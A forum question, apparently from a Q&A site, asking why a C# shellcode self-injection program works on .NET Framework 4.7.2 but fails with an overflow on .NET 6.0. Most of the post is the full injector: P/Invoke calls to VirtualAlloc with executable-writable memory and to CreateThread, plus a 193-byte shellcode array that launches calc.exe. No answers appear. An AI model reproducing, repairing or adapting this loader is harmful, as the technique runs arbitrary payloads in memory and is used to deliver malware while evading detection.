Issue with Shellcode Injection Technique in C# Across Different .NET Versions

51 Views Asked by At

I'm currently working on implementing a simple shellcode injection technique in C# using P/Invoke. The code works as expected in .NET Framework 4.7.2, but I'm encountering an issue when running it in .NET 6.0. The specific error message I'm receiving is:

Unhandled exception. System.OverflowException: Arithmetic operation resulted in an overflow.
         at System.IntPtr.op_Explicit(IntPtr value)

This error occurs when I call the CreateThread function.

The objective of my code is to perform a self-injection of shellcode, in this case, a simple calc.exe shellcode, into the current process and execute it.

Here's the relevant snippet of my C# code:

 class Program
    {
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

        [DllImport("kernel32.dll")]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public enum TYPE
        {
            MEM_COMMIT = 0x00001000
        }

        public enum PROTECTION
        {
            PAGE_EXECUTE_READWRITE = 0x40
        }

        static void Main(string[] args)
        {
            byte[] buf = new byte[193] {
              0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
              0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
              0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
              0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
              0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
              0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
              0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
              0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
              0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
              0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
              0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
              0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
              0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };

            int shellcode_size = buf.Length;
            IntPtr init = VirtualAlloc(IntPtr.Zero, shellcode_size, (UInt32)TYPE.MEM_COMMIT, (UInt32)PROTECTION.PAGE_EXECUTE_READWRITE);
            Marshal.Copy(buf, 0, init, shellcode_size);
            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(0, 4096, (UInt32)init, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }


    }

Upon researching the issue, I suspect that the discrepancy in behavior might be due to changes in how the IntPtr type is handled between different .NET versions. However, I'm uncertain about how to resolve this issue and ensure compatibility across different versions of .NET.

Could someone please provide guidance on how to modify the code to address this issue and ensure it works correctly in .NET 6.0?

Thank you in advance for your assistance.

0

There are 0 best solutions below